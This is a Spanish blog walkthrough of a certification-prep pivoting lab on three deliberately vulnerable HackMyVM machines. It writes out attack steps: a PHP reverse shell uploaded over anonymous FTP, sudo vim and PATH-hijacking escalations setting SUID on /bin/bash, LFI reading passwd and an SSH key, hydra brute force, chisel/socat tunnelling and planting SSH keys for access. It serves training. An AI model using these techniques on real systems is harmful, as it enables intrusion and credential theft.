Post

eCPPTv2 Saga Friendly

Este LAB esta orientado para practicar el pivoting de cara a la certificación "eCPPTv2". Vamos a utilizar la saga de máquinas “Friendly” de la plataforma Hackmyvm. Son máquinas fáciles y muy divertidas creadas por el usuario Rijaba1, os dejo su canal de YouTube y de GitHub por si quereis apoyar sus proyectos.

SagaFriendly

Descarga de Máquinas

Configuración Máquinas

  • Las máquinas se descargan en .zip,las descomprimimos y hacemos doble click al .ova de cada máquina para importalas a VirtualBOX.
  • Dentro de VirtualBOX en tools/networks configuramos las redes necesarias para el LAB.
SagaFriendly
Networks
  • Ahora vamos a asignar los adaptadores de red necesarios a cada máquina.
  • En la máquina Friendly activamos dos adaptadores de red con NAT VM y NAT VM1, es importante cambiar el modo promiscuo en todas las máquinas a Allow VMs para poder tener conexión entre las máquinas virtuales.
SagaFriendly
Interfaces Friendly
  • Máquina Friendly2, red NAT VM1 y 2:
SagaFriendly
Interfaces Friendly2
  • Máquina Friendly3, red NAT VM2:
SagaFriendly
Interfaces Friendly3

Network

Esta tabla indica el nombre y cantidad de las interfaces de red a cada máquina.

Máquina1ª Interface2ª Interface
KALINAT VM 
FriendlyNAT VMNAT VM1
Friendly2NAT VM1NAT VM2
Friendly3NAT VM2 

Resources

Recursos para enumerar y pivotar durante el LAB.

  • NetScan es un script de reconocimiento de hosts y puertos.
  • Procmon script para ver procesos en segundo plano en tiempo real.
  • Chisel
  • Socat

Explotación

Friendly

Enumeración

  • Hacemos un escaneo de Hosts en nuestra red con arp-scan -I eth0 --localnet, la máquina Friendly es la ip 192.168.100.5.
SagaFriendly
arp-scan Friendly
  • Enumeramos con nmap los puertos abiertos.
SagaFriendly
Nmap Friendly
  • Lanzamos una serie de sripts de nmap para descubrir versión y detalles de los servicios encontrados.
SagaFriendly
Nmap Puertos Friendly
  • Podemos acceder como anonymous sin proporcionar pass, no encontramos nada interesante, pero encontramos algo curioso, el index.html esta en el servicio FTP, podemos suponer que el directorio web está montado en el FTP.
  • Aplicamos fuzzing a la WEB:
    • Fuzzing a directorios: gobuster dir -u http://192.168.100.5 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -> Sin éxito.
    • Fuzzing a subdirectorios: gobuster vhost -u http://192.168.100.5 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 200 -> Sin éxito.
  • La WEB parece estar limpia, vamos a retomar la idea de entrar e intentar subir un archivo al servicio FTP, si realmente es el directorio raiz de la WEB podemos cargar un fichero malicioso y el servidor lo interpretará.

    Intrusión

  • Vamos a crear un test.txt y subirlo a FTP con put.
SagaFriendly
SagaFriendly
Curl Prueba
  • El servidor interpreta los archivos, vamos a descargar y subir una revshell, yo en este caso voy a subir la típica de PentesMonkey, existen otros recursos en Revshells,etc.
SagaFriendly
Wget PentesMonkey
  • Necesitamos cambiar la IP y PORT donde vamos a recibir la revshell.
SagaFriendly
Change IP PORT
  • Dentro de FTP, realizamos un put r4mnx.phpque es el archivo que contiene la revShell.
  • Nos ponemos en escucha con nc en la máquina de ataque y lanzamos curl para activar la revshell al recurso r4mnx.php.
SagaFriendly
Escucha RevShell
www-data
  • Ganamos acceso como www-data.
  • Ejecutamos sudo -l y tenemos privilegios sudo del binario vim, vim tiene la característica de poder ejecutar comandos a nivel de sistema dentro de vim.
SagaFriendly
Sudo -l Friendly
  • Ejecutamos sudo vim, y dentro escribimos :! /bin/bash y automáticamente recibimos una Shell como ROOT.
SagaFriendly
Escalation Friendly
  • PWNED!
    ROOT
  • Ahora somos root, vamos a preparar la máquina para seguir avanzando en el LAB e ir descubriendo la siguiente máquina.
  • Vamos a instalar ssh y activarlo para acceder con mayor facilidad:
    • apt install openssh-server
    • systemctl enable ssh
    • systemctl status ssh
  • Una vez que ssh este habilitado en “Friendly” vamos a crear un fichero en /root/.ssh/authorized_keys para guardar nuestra id_rsa.pub de nuestra máquina de atacante.
  • Pasos:
    • mkdir /root/.ssh/ && touch /root/.ssh/authorized_keys -> Máquina ataque
    • ssh-keygen -> Máquina ataque
    • Copiamos el contenido de id_rsa.pub de nuestra máquina al fichero authorized_keys de la máquina “Friendly”.
  • Subida de archivos necesarios, vamos a descargar los archivos dentro de “Resources” y subierlos con scp:
1
2
3
$> scp -i ~/.ssh/id_rsa NetScan.sh root@192.168.100.5:/root/
$> scp -i ~/.ssh/id_rsa socat root@192.168.100.5:/root/
$> scp -i ~/.ssh/id_rsa chisel root@192.168.100.5:/root/
SagaFriendly
SCP ficheros
  • Con ip a vemos que la máquina Friendly tiene otra interface con la IP “10.0.2.6”, vamos a usar NetScan.sh para descubrir hosts.
    • ./NetScan.sh -o 10.0.2.6/24 -> Descubrir nuevos hosts
    • ./NetScan.sh -p 10.0.2.5 -> Enumeración de puetos abiertos al nuevo host “Friendly2”

      Pivoting

  • Vamos a levantar el servidor de chisel en nuestra máquina y el cliente en “Friendly” para poder alcanzar Friendly2.
1
2
3
4
$> sudo ./chisel server --reverse -p 10000 # Kali: Creamos SERVER CHISEL

$> ./chisel client 192.168.100.4:10000 R:10001:socks # Máquina Friendly
# IMPORTANTE: modificar el fichero /etc/proxychains.conf -> "strict_chains" & "socks5 127.0.0.1 10001"

Friendly2

Enumeración

  • Enumeración de puertos con Nmap:
SagaFriendly
Nmap Friendly2
  • Vamos a realizar Fuzzing con Gobuster a la WEB, en este caso no usaremos proxychains ya que gobuster tiene una flag específica para lanzar bajo un proxy:
SagaFriendly
Gobuster Friendly2

Intrusión

  • Vamos a ver ese directorio WEB /tools, se puede hacer desde un navegador como firefox configurando el addon FoxyProxy por ejemplo o en mi caso me parece más comodo realizar las peticiones bajo proxychainsy curl.
SagaFriendly
  • Analizando el código podemos ver que el recurso check_if_exist.php tiene una variable doc esta carga ficheros existentes del servidor WEB. Al cargar ficheros locales del servidor, podemos intentar escapar del directorio raiz del server WEB y cargar ficheros locales de la máquina, si es así estariamos ante un LFI.
    • sudo proxychains curl "http://10.0.2.5/tools/check_if_exist.php?doc=keyboard.html" -> vemos el recurso keyboard.html.
    • Vamos a realizar un Path Traversal y llegar a ejecutar un LFI (Local File Inclusión).
SagaFriendly
LFI Friendly2
  • Es vulnerable a LFI, encontramos un usuario gh0st en el passwd, vamos a ver otros ficheros sensibles del sistema como la id_rsa del usuario gh0st.
SagaFriendly
id_rsa Friendly2
  • Vamos a copiar la id_rsa en nuestra máquina y asignarle permisos 600 para intentar conectarnos por ssh. Pasos:
    • echo "contenido id_rsa" > id_rsa -> máquina de atacante.
    • chmod 600 id_rsa -> en la máquina de atacante.
  • Nos conectamos por ssh:
SagaFriendly
SSH Friendly2
  • Parece que la id_rsa está protegida por contraseña, podemos con ssh2john extraer un hash y con john intentar crackealo:
    • ssh2john id_rsa > hash -> extraemos el hash
SagaFriendly
JOHN Friendly2
  • Ahora tenemos la pass "celtic" para poder usar la id_rsa.
SagaFriendly
Conexión SSH Friendly2
gh0st
  • Accedemos a Friendly2 como gh0st, vamos a hacer export TERM=xterm y export SHELL=bash para tener mas movilidad en la terminal.
  • Lanzamos sudo -l y vemos que tenemos permisos para lanzar el script como root sin proporcionar contraseña.
SagaFriendly
Sudo -l Friendly2
  • SETENV nos permite modificar una variable de entorno durante la ejecución del comando unicamente.
  • cat /opt/security.sh vemos el codigo del script y ejecuta comandos con ruta relativa.
  • En conclusión, si podemos ejecutar el script como root sin pass, modificar una variable de entorno y el script no usa rutas absolutas, podemos ejecutar un "PATH Hijacking".
  • Vamos a crear un archivo malicioso llamado tr, modificaremos la variable PATH y así poder cargar nuestro tr malicioso.
    • echo "chmod u+s /bin/bash" > tr -> Creamos el fichero tr con un comando para cambiar SUID a la bash.
    • chmod +x tr -> otorgamos permisos de ejecución a tr.
  • Ya está todo listo, vamos a ejecutar el siguiente comando para dar permisos SUID a la bash.
SagaFriendly
Elevation Friendly2
  • bash -p -> lanzamos una bash con máximos privilegios, al ser SUID nos convertiremos en root.
  • PWNED!
    ROOT
  • Vamos hacer el mismo proceso de la máquina "Friendly", copiamos nuestro id_rsa.pub en el authorized_keys de Friendly2 y subimos todos los archivos de Resources (NetScan.sh, socat y chisel) con scp:
    • mkdir /root/.ssh -> Ejecución en Friendly2
    • echo "ContenidoID_RSA.pub" > authorized_keys -> Friendly2
1
2
3
$> proxychains scp -i ~/.ssh/id_rsa NetScan.sh root@10.0.2.5:/root/
$> proxychains scp -i ~/.ssh/id_rsa socat root@10.0.2.5:/root/
$> proxychains scp -i ~/.ssh/id_rsa chisel root@10.0.2.5:/root/
  • ip a -> en Friendly2 y descubrimos una nueva interface de red por lo tanto otro segmento de red a escanear.
  • ./NetScan.sh -o 192.168.20.0/24 -> Escaneo de hosts.
SagaFriendly
NetScan Hosts Friendly3
  • ./NetScan -p 192.168.20.7 -> Escaneo de Ports.
SagaFriendly
NetScan Ports Friendly3

Pivoting

  • Para alcanzar Friendly3, tenemos que levantar otro cliente de chisel en Friendly2 y con socat redirecionar chisel a nuestra máquina de ataque.
SagaFriendly
Proxy Friendly3
1
2
$> ./socat TCP-LISTEN:10100,fork TCP:192.168.100.4:10000 # Friendly escuchamos por el puerto 10100 y redirecionamos a nuestro Kali al puerto 10000 que es donde está chisel.
$> ./chisel client 10.0.2.6:10100 R:10002:socks # Friendly2, lanzamos al socat, en la interfaz más cercana, en este caso a la ip 10.0.2.6. 
  • Debemos modificar /etc/proxychains.conf para añadir socks5 127.0.0.1 10002.
  • Comentar # sctric_chain y descomentar # dynamic_chain
  • Añadir en este orden socks5 127.0.0.1 10002
SagaFriendly
Proxychains Friendly3

Friendly3

Enumeración

  • Escaneamos con Nmap:
SagaFriendly
Nmap Friendly3
  • Lanzamos scripts de reconocimeinto de versión de servicios:
SagaFriendly
Nmap Ports Friendly3

Intrusión

  • Vemos la WEB, y encontramos un nombre de usuario "juan" y nos indica que se han añadido nuevos recursos al servicio FTP.
SagaFriendly
Curl Friendly3
  • La WEB parece limpia, no tenemos acceso a FTP como anonymous , vamos a realizar con hydra fuerza bruta al servicio FTP.
SagaFriendly
Hydra Friendly3
SagaFriendly
FTP Friendly3
  • FTP tiene muchos archivos y directorios, vamos a descargarlos en nuestra máquina de forma recursiva para analizarlos mejor.
    • proxychains -q wget -r ftp://juan:alexis@192.168.20.7 -> Después de analizar todos los archivos, es un RabbitHole.
  • En este punto parece que no podemos avanzar en la máquina, pero siempre tenemos que contemplar la reutilización de contraseñas.
  • Vamos a conectarnos por ssh con las credenciales juan:alexis
    • sudo proxychains -q ssh -i ~/.ssh/id_rsa juan@192.168.20.7
      juan
  • Ganamos acceso a “Friendly3” como juan.
  • Después de ejecutar comandos y no encontrar nada, vamos a ver si se está ejecutando alguna tarea en segundo plano.
  • Antes de usar herramientas como LinEnumo LSE, pruebo con un script sencillo como Procmon.

  • Descargamos Procmon le asignamos permisos de ejecución chmod +x procmon.sh y lo ejecutamos.
SagaFriendly
Procmon Friendly3
  • Se está ejecutando un script como root, vamos a investigarlo.
SagaFriendly
App Friendly3
  • El script copia una bash (como root) en el directorio /tmp/a.bash, asigna una serie de permisos y luego borra el fichero.
  • Vamos a crear una “OneLine” para que ejecute un comando antes de que a.bash sea borrada y así injectar permisos SUID a la bash.
1
$> while true; do echo "chmod u+s /bin/bash" > /tmp/a.bash && echo "Ok"; done # 
  • Ahora la bash es SUID.
SagaFriendly
Escalation Friendly3
  • bash -p -> para elevar privilegios.
    ROOT
  • PWNED!
This post is licensed under CC BY 4.0 by the author.